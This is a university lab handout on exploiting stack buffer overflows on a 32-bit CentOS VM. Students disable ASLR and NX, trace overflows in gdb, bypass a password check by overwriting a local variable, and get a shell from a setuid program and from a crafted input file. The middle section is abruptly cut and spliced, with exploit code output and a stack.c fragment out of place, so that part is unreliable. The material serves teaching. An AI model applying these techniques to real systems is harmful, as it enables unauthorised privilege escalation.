Exploits Lab

Carles Mateu - carles.mateu@udl.cat

Requirements

For this lab we will need the VM that you have on the campus, at:
http://codeandbeer.org/virtual/SegAC/ova/CentOS6%2032.ova

If you are trying it at home or on an existing VM you will need:

- A 32 bit operating system running (the given commands and code is for 32 bits)
- To disable: ASLR and NX protections
- A C compiler, PERL, GDB, and wget commands.

Root access and a plain user.

1. Installing required software.

   If you already have the required software, skip to next step.
   For the software you will require, you have to do, as root:

```
yum install gcc gdb wget perl           # FEDORA/CENTOS
apt-get install gcc gdb wget perl       # DEBIAN-like
```

2. Creating the required user.

   If you already have a plain user that you wnat to use, skip to the next step.

```
useradd <user-name>
passwd <user-name>
```

3. Disable ASLR and NX protections:

   If in the provided VM this has already been made, so skip this step.
   To disable them you can either:

```
echo "0" > /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/exec-shield
echo "0" > /proc/sys/kernel/exec-shield-randomize
```

or

```
sysctl -w kernel.randomize_va_space=0
sysctl -w kernel.exec-shield=0
```

To make it permanent, add to /etc/sysctl.conf:

```
kernel.randomize_va_space=0
kernel.exec-shield=0
```

4. Get the code:

In the provided virtual machine this has already been done for you.

As download the provided code:

```
wget http://codeandbeer.org/virtual/SegAC/exploits/codi.
    tgz
tar xvzf codi.tgz
```

5. Exploration of a buffer overflow.

Check the source code of **overflow.c**

```
cd codi
less overflow.c
```

It is, obviously, a buffer overflow situation. We can compile it with a set of command line options that will simplify the stack layout (**-preferred-stack-boundary=2**), easier for us to debug, include debug information (**-ggdb**), and remove stack overwrite protections (**-fno-stack-protector**).

```
gcc -z execstack -ggdb -mpreferred-stack-boundary=2 -fno-
    stack-protector -o overflow overflow.c
```

If we execute now the program:

```
[user@centos6-32 codi]$ ./overflow
Violació de segment (bolcat de la imatge del nucli)
[user@centos6-32 codi]$
```

We get the classic buffer overflow situation. Let's see on the debugger how things go (and so we'll learn something about the debugger). Once loaded we can look at the code (we compiled with **-ggdb**):

```
  Reading symbols from /home/user/Exploits/codi/overflow...done.
2 (gdb) list
  1
  2   int main()
  3   {
  4   char cadena[5];
7 5
  6   strcpy(cadena,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  7   }
```

We set up a breakpoint at line 5 (before the culprit), and run to there the program:

```
1 Reading symbols from /home/user/Exploits/codi/overflow...done.
  (gdb) break 5
  Breakpoint 1 at 0x80483ca: file overflow.c, line 5.
  (gdb) run
  Starting program: /home/user/Exploits/codi/overflow
6
  Breakpoint 1, main () at overflow.c:6
  6   strcpy(cadena,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.7.el6.i686
```

We now check the **stack**, and our local variable:

```
1 (gdb) print cadena
  $1 = "\b\000\000\000"
  (gdb) info reg esp
  esp            0xbffff4a4   0xbffff4a4
  (gdb) x/20x $esp
6 0xbffff4a4: 0x08048310  0x0804840b  0x00cbeff4  0x08048400
  0xbffff4b4: 0x00000000  0xbffff538  0x00b4ecc6  0x00000001
  0xbffff4c4: 0xbffff564  0xbffff56c  0x001113d0  0x08048310
  0xbffff4d4: 0xffffffff  0x00b30fc4  0x0804822c  0x00000001
  0xbffff4e4: 0xbffff520  0x00b207c5  0x00b31ab0  0x001116b0
11 (gdb) info reg eip
  eip            0x80483ca    0x80483ca <main+6>
  (gdb) disp cadena
  1: cadena = "\b\000\000\000"
```

The command `x/20x $esp` e**x**amines 20 bytes in he**x** from the address pointed by **$esp**. **info reg** displays information on a register (or all of them if we do not specify one). **print** displays one local symbol (cadena), if we use **display** instead, it will print that value and display it on every command we do (to keep watch of something).

As we can see, the stack is full of data, our variable is empty, and EIP is an address of memory that corresponds to line 6 of main. Now

we go one step further along the code:

```
(gdb) step
7   }
1: cadena = "AAAAA"
```

And we are on line 7, after our strcpy, and our local variable now has the first 5 'A' (gdb displays the type defined). Let's take a look on the stack and our registers:

```
(gdb) info reg eip
eip            0x80483e5    0x80483e5 <main+33>
(gdb) info reg esp
esp            0xbffff4a4   0xbffff4a4
(gdb) x/20x $esp
0xbffff4a4: 0xbffff4b3  0x080484b4  0x00000050  0x41048400
0xbffff4b4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4c4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4d4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4e4: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) bt
#0  main () at overflow.c:7
```

We can see that the stack has filled with A values. Some of those will overwrite EIP when returning from our **main** function to the OS. If we use **bt** backtrace (the stack of calls that will follow our program back to the beggining), we see that we only have to return from main(). Let's make another step more.

```
(gdb) step
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x41414141: Error 'dEntrada/Sortida.

0x41414141 in ?? ()
(gdb) info reg eip
eip            0x41414141   0x41414141
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0xbf004141 in ?? ()
#18 0x39918c69 in ?? ()
#19 0xafa11b17 in ?? ()
#20 0x00000000 in ?? ()
```

You can see that the EIP has been corrupted (0x41 is the hex code for character 'A'). The bt is corrupted (full of 'A'), and the program fails. So, we have our overflow.

6. Bypassing authentication with an overflow.

Let's look at the next code (vuln.c):

```
#include <stdio.h>
#include <string.h>

int login(char *pass)
{
    int loginok = 0    ;
    char buffer[50];

    strcpy(buffer,pass);
    if (strcmp(buffer,"lopasswd") == 0)
    {
        loginok = 1;
    }

    return loginok;
}

int main(int argc, char **argv)
```

```
{
    if (login(argv[1]))
    {
        printf("Login OK");
    }
    else
    {
        printf("NO login");
    }
}
```

Our program receives a password on the command line, checks if its equal to 'lopasswd', and if it's equal, returns True, thus performing the login. Otherwise there's no login. Let's compile and load it into the debugger.

```
gcc -z execstack -ggdb -mpreferred-stack-boundary=2 -fno-
    stack-protector -o vuln vuln.c
gdb vuln
```

We run it, passing an argument:

```
(gdb) run password
Starting program: /home/user/Exploits/codi/vuln password
NO login
Program exited with code 010.
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.7.el6.i686
(gdb) run lopasswd
Starting program: /home/user/Exploits/codi/vuln lopasswd
Login OK
Program exited with code 010.
```

It works ok. Now let's add a couple of breakpoints on the hot point and run it again:

```
(gdb) run 01234567890123456789
Starting program: /home/user/Exploits/codi/vuln 01234567890123456789

Breakpoint 3, login (pass=0xbffff6c9 "01234567890123456789") at vuln.c:9
9       strcpy(buffer,pass);
(gdb) x/30x $esp
0xbffff45c: 0x00000000  0xbffff500  0x08049700  0xbffff478
0xbffff46c: 0x08048300  0x0000000b  0x08049700  0xbffff4a8
0xbffff47c: 0x080484c9  0x00cbd1f0  0x0804825a  0x00cbfce0
0xbffff48c: 0x00cbeff4  0x080484b0  0x08048370  0x00000000
0xbffff49c: 0xbffff4a8  0x0804847c  0xbffff6c9  0xbffff528
0xbffff4ac: 0x00b4ecc6  0x00000002  0xbffff554  0xbffff560
0xbffff4bc: 0x001113d0  0x08048370  0xffffffff  0x00b30fc4
0xbffff4cc: 0x0804825a  0x00000001
(gdb) bt
#0  login (pass=0xbffff6c9 "01234567890123456789") at vuln.c:9
#1  0x0804847c in main (argc=2, argv=0xbffff554) at vuln.c:20
```

We see the stack perfectly normal, and the backtrace telling us we are on a function (login) called by main. We have to return to 0x0804847c in main. Locate that on the stack. It's in 0xbffff49c+4.

We now **continue** until the next breakpoint (next line, after the strcpy).

```
(gdb) cont
Continuing.

Breakpoint 4, login (pass=0xbffff6c9 "01234567890123456789") at vuln.c:10
10      if (strcmp(buffer,"lopasswd") == 0)
(gdb) x/30x $esp
0xbffff45c: 0xbffff466  0xbffff6c9  0x31309700  0x35343332
0xbffff46c: 0x39383736  0x33323130  0x37363534  0xbf003938
0xbffff47c: 0x080484c9  0x00cbd1f0  0x0804825a  0x00cbfce0
0xbffff48c: 0x00cbeff4  0x080484b0  0x08048370  0x00000000
0xbffff49c: 0xbffff4a8  0x0804847c  0xbffff6c9  0xbffff528
0xbffff4ac: 0x00b4ecc6  0x00000002  0xbffff554  0xbffff560
0xbffff4bc: 0x001113d0  0x08048370  0xffffffff  0x00b30fc4
0xbffff4cc: 0x0804825a  0x00000001
```

You see where our fake password is? It's the 0x39383736 ... it starts in 0xbffff45c+5

Let's break the program now. Locate where **loginok** is on the stack. It should be a 0x00000000 near (over) the EIP (0xbffff49c+4). It's in 0xbffff48c+12. And our buffer, if overflows, will overflow to there. So, let's try it. Let's send 49 'A'.

```
(gdb) run 'perl -e ' print "A" x 49 ' '
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Exploits/codi/vuln 'perl -e ' print "A" x 49 ' '

Breakpoint 3, login (pass=0xbffff6ac 'A' <repeats 49 times>) at vuln.c:9
9       strcpy(buffer,pass);
(gdb) cont
Continuing.

Breakpoint 4, login (pass=0xbffff6ac 'A' <repeats 49 times>) at vuln.c:10
10      if (strcmp(buffer,"lopasswd") == 0)
(gdb) x/30x $esp
0xbffff43c: 0xbffff446  0xbffff6ac  0x41419700  0x41414141
0xbffff44c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff45c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff46c: 0x41414141  0x41414141  0x00414141  0x00000000
0xbffff47c: 0xbffff488  0x0804847c  0xbffff6ac  0xbffff508
0xbffff48c: 0x00b4ecc6  0x00000002  0xbffff534  0xbffff540
0xbffff49c: 0x001113d0  0x08048370  0xffffffff  0x00b30fc4
0xbffff4ac: 0x0804825a  0x00000001
```

As expected, our 41s ('A') finish just before the 0x00000000, our last 41 is of the form: 0x00414141 (that is, 3 'A' followed by \0 in C).

Let's now try one more 'A':

```
(gdb) run ‘perl -e ’ print ”A” x 51 ’ ‘
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Exploits/codi/vuln ‘perl -e ’ print ”A” x 51 ’ ‘

Breakpoint 3, login (pass=0xbffff6aa 'A' <repeats 51 times>) at vuln.c:9
9       strcpy(buffer,pass);
(gdb) cont
Continuing.

Breakpoint 4, login (pass=0xbffff6aa 'A' <repeats 51 times>) at vuln.c:10
10      if (strcmp(buffer,”lopasswd”) == 0)
(gdb) x/30x $esp
0xbffff43c: 0xbffff446  0xbffff6aa  0x41419700  0x41414141
0xbffff44c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff45c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff46c: 0x41414141  0x41414141  0x41414141  0x00000041
0xbffff47c: 0xbffff488  0x0804847c  0xbffff6aa  0xbffff508
0xbffff48c: 0x00b4ecc6  0x00000002  0xbffff534  0xbffff540
0xbffff49c: 0x001113d0  0x08048370  0xffffffff  0x00b30fc4
0xbffff4ac: 0x0804825a  0x00000001
```

Now, loginok will be 0x41.

```
(gdb) print loginok
$1 = 65
```

Now let’s continue:

```
(gdb) cont
Continuing.
Login OK
Program exited with code 010.
```

This program could also be exploited as a stack overflow to inject shellcode:

```
(gdb) run ‘perl -e ’ print ”A” x 62 ’ ‘
Starting program: /home/user/Exploits/codi/vuln ‘perl -e ’ print ”A” x 62 ’ ‘

Breakpoint 3, login (pass=0xbffff69f ’A’ <repeats 62 times>) at vuln.c:9
9       strcpy(buffer,pass);
(gdb) cont
Continuing.

Breakpoint 4, login (pass=0xbffff600 ”\a”) at vuln.c:10
10      if (strcmp(buffer,”lopasswd”) == 0)
(gdb) x/30x $esp
0xbffff43c: 0xbffff446  0xbffff69f  0x41419700  0x41414141
0xbffff44c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff45c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff46c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff47c: 0x41414141  0x41414141  0xbffff600  0xbffff508
0xbffff48c: 0x00b4ecc6  0x00000002  0xbffff534  0xbffff540
0xbffff49c: 0x001113d0  0x08048370  0xffffffff  0x00b30fc4
0xbffff4ac: 0x0804825a  0x00000001
(gdb) bt
#0  login (pass=0xbffff600 ”\a”) at vuln.c:10
#1  0x41414141 in ?? ()
#2  0xbffff600 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
```

You see that program will try to return to 0x41414141?

7. Exploiting a stack overflow.

We’ll take a look at a small C program:

```
1  #include <stdio.h>
   int saluda(char *temp1,char *temp2)
   {
     char name[400];

6    strcpy(name, temp2);
     printf(”Hello %s %s\n”, temp1, name);
   }

   int main(int argc, char * argv[])
11 {
     char buff[1024], buff2[1024];

     strcpy(buff, argv[1]);
     strcpy(buff2, argv[2]);
16   saluda(buff,buff2);
     printf(”Goodbye %s %s\n”, argv[1], argv[2]);
   }
```

You can see that has some problems, one of which is is line 6. This will be our “server” software with bugs. We compile it, and use it as a privileged process, like any server is:

```
gcc -z execstack -ggdb -mpreferred-stack-boundary=2 -fno-
    stack-protector -o saluda saluda.c
```

Then, as root, we turn it into a privileged software:

```
chown root saluda
chmod u+s saluda
```

Back as normal user, we test the softare:

```
[user@centos6-32 codi]$ ./saluda hola hola
Hello hola hola
Goodbye hola hola
```

It's working. Let's break it:

```
gdb saluda
[...]
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/Exploits/codi/saluda...done.
(gdb) run Hello 'perl -e ' print "A" x 200 ''
Starting program: /home/user/Exploits/codi/saluda Hello 'perl -e ' print "A" x 200 ''
Hello Hello
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Goodbye Hello
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program exited with code 0327.
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.7.el6.i686
```

Ok, with 200 A works. Let's try to break it:

```
(gdb) run Hello 'perl -e ' print "A" x 600 ''
Starting program: /home/user/Exploits/codi/saluda Hello 'perl -e ' print "A" x 600 ''

Program received signal SIGSEGV, Segmentation fault.
0x00b7add1 in vfprintf () from /lib/libc.so.6
```

Let's get the approximate number of As to break it. This technique is called **fuzzing**, and there are tools to semi-automate it, we'll just try a few values by hand, as we know the source code, we can go a bit faster and point to just a little over 400:

```
(gdb) run Hello ‘perl -e ’ print ”A” x 402 ’‘
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Exploits/codi/saluda Hello ‘perl -e ’ print ”A” x 402 ’‘
Hello Hello
     AAAA
```

```
./exploit 650
[user@centos6-32 codi]$ ./exploit 650
Usage: ./exploit<buff_size> <offset> <esp:0xfff...>
ESP:0xbffff488 Offset:0x0 Return:0xbffff488
Hello
     ÀÀÀ
```

```
18      FILE *badfile;

        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
23
        printf("Returned Properly\n");
        return 1;
}
```

It has the same problem, in line 11. Let's test it:

```
  [user@centos6-32 additional]$ gcc -z execstack -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o
      stack stack.c
  [user@centos6-32 additional]$ echo "TEST" > badfile
  [user@centos6-32 additional]$ ./stack
4 Returned Properly
```

Now look at fileexploit.c, you'll see that is similar to exploit.c (the code is almost the same), only that, after creating the payload, creates a file on disk with the payload inside it. Run it:

```
1 [user@centos6-32 additional]$ gcc fileexploit.c -o fileexploit
  [user@centos6-32 additional]$ ./fileexploit
  [user@centos6-32 additional]$ ls -l badfile
  -rw-rw-r--. 1 user user 517 29 set 22:54 badfile
```

And now run the vulnerable program again.

```
1 [user@centos6-32 additional]$ ./stack
  sh-4.1$
  sh-4.1$ exit
```

You see that it gives us a shell due to a badly formed file. That happens on real world: PDF, Flash, TIFF, JPEG, etc. are file formats whose libraries (or reading software) have had vulnerabilities on recent years, exploitable by a badly formed file.